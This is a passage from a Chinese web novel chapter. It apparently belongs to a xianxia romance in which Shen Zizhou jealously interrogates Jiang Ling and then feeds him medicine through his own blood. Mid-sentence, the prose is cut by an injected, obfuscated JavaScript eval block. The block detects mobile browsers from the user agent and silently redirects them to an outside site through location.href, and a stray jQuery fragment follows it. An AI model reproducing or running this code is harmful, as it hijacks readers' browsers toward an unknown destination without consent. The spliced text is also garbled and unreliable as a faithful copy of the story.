眼前一暗,极有压迫力的阴影从上方落下。
“是顾白?”一个硬邦邦的名字从沈自舟的口中挤出。
江泠:“?”
这谁?
“还是周玉盼?”
江泠:“……?”
这又是谁?
沈自舟又一连说了几个名字。
江泠完全没有印象,绞尽脑汁想了半天,才恍然大悟。这些人应该可能就是当年他与沈自舟游历四方时遇到的人。
有的只有一面之缘,萍水相逢,有的相处过几日,认识以后又很快地分开。
不是,哥们。
你记性这么好的吗?老黄历都要翻出来算旧账。
“是、谁?”咬字极重,阴沉森冷。
江泠后颈一个激灵,心虚地侧过脸,不敢与其对视,抿着唇:“都说了,我拿来喂狗了。”
话音落下。
他察觉到目光落下,刺骨直白,十分有侵略性,仿佛要将他的衣服都剥光了一般,不留一点余地。
一声短暂的惊呼。
江泠措不及防,又被挟持住了下颌,这次倒是没掐他的脖子,而是按住了他的唇角。指尖力道微凝,像是要撬开他的唇齿,得到一个答案。
“……是我不认识的人。”
“还是天衍圣子?”
不是,哥们。
你为什么这么在意啊?
沈自舟知道自己不应该在意这些陈芝麻烂谷子的事。
都过去这么久了,不管当年发生了什么,都没有任何意义。
但他就是想知道。
当年,他们还那么的交好。
抵足而眠,夜谈至天明。他们聊很多,过去、未来,还有虚无缥缈的理想,一切的骐骥落在眼中化作了星子,那是多么的璀璨,就算是时隔多年,也还能落下一片残光。
就是他们这么好的时候,江泠却背着他做出这样的事。
江泠性子懒散随意,竟愿意为了他人不远千里翻山涉水来到长春仙谷求药。那是何等的真心。
心头的蛇又盘踞起来,昂首发出嘶嘶声,喷出嫉妒的毒液。
是了。
他就是嫉妒。
凭什么,他没有得到过江泠的真心。
哪怕只是片刻。
沈自舟怒极反笑。
没关系。
他会杀了那个人。开膛破肚,将不老药重新取出。
江泠:“……”
这又是在发什么疯。
好在就在这时,门外传来叩门声。
“药煎好了。”
青衣药童端来一碗药。
热气腾腾,都不用看,老远就闻到一股酸涩的苦味,味道直冲天灵盖,都还没喝,就牙齿泛酸,眼泪唰得一下就下来了。
江泠娇气得很,吃不了一点苦。
药童还在边上火上浇油:“天燥上火,里头多放了几两黄连。”
江泠怀疑是叶山月故意的,故意报复他当年放火烧山。
可那又怎么样呢?
人在屋檐下,不得不低头。
江泠在心里恨恨记上了一笔,打算捏着鼻子把药喝了。
不料,药童端着药在他的面前晃了一圈,竟把药递给了沈自舟。
江泠伸手伸了个空。
江泠:“?”
给错人了。
他模模糊糊看见,沈自舟端起药,仰头就喝了下去。
黑乎乎、又苦又涩还浓稠的药汁,沈自舟连眼睛都没闭一下,一口气全喝了。还面不改色,神情如常。
江泠没喝都觉得苦,光是闻着味道,小珍珠又要掉下来了。
眨眨眼睛,泪眼朦胧。
不对。
不是他身体残废命不久矣前来求医吗?怎么药给沈自舟喝上了。
这、不太合适吧。
江泠百思不得其解。
难道这也是折磨他的手段之一吗?
沈自舟明明可以直接杀了他,却要当着他的面抢他的药喝。呃……这也太曲折迂回了。
不过沈自舟是真的不怕苦……
“叮”得一声。
打断了他的思绪。
沈自舟放下了药碗,又取起托盘上的一把匕首,直径朝着江泠走去。
江泠眼前隐隐绰绰,只瞧见匕首上折射着一道冷光。
悄无声息地往后缩了缩,肩膀磕到了墙壁上,退无可退。
匕首横在了他的面前,冷凌凌的。
沈自舟终于要忍不下去,杀了他泄愤吗?
江泠很想有骨气地说,要杀就杀,何必这么戏弄人。
但是很抱歉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011444|178405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他没有骨气。
唇角嗫嗫:“你不想知道我拿不老药救了谁吗?”
匕首刀光闪过,倒影在空洞茫然的眼瞳中。
手起刀落,冷铁与温热的血混杂,生出一种特有的铁腥味。
江泠却没觉得疼,摸了摸脖子,脑袋还好好地待在上面。
血是从哪里来得?他努力睁眼分辨,才看见匕首划破的竟然是沈自舟的掌心。
沈自舟握住了匕首,锋利的刀锋割出了一条狭长的伤,血珠滚落,送到了他的面前。
江泠不解。
“喝。”沈自舟沉沉道。
喝什么……喝他的血吗?
江泠如坐针毡。
这也太奇怪了。
到底在搞什么啊!
两人僵持片刻,就在血都要淌下来的时候,药童适时开口:“你的身体太过孱弱,连一点药力都经受不了,只能用这种折中的法子,让他人喝药,再以血喂你,中和药性缓缓图之。”
“你再不喝,药效就要过了。”
听见这话,江泠再不犹豫,低头覆上了沈自舟的手掌心。
血是温热的,没有腥味,而是淡淡的药香。
一入口,江泠只觉得久旱逢甘霖,一股热流在经脉中潺潺流淌,抚平了暗伤与隐痛。
不够。
……还不够。
江泠下意识伸出舌尖,想要渴求更多。
掌心传来一点湿软的触感,沈自舟的眉心止不住地一跳,手指猛地屈起,又缓缓放松下来。
“……够了。”
江泠舔了舔唇角,慢慢抬起头来。
映入眼帘的,是沈自舟克制冷清的脸。
再一看,面前的手掌宽大有力,渗出的血都被他舔完了,伤口处泛着白。
他这才反应过来,刚才是抱着沈自舟的手又啃又咬,发了狠、忘了情,还意犹未尽。
江泠:“……”
有点丢人。
药童熟视无睹,收拾好残局,道:“三日服一次药。”
意思是,这样的画面三天还要发生一次是吗。
江泠迟疑着开口:“一定要这样吗?”
药童脚步一顿。
江泠问:“我是说,一定要喝他的血?”
药童想了想:“你要喝别的也行。”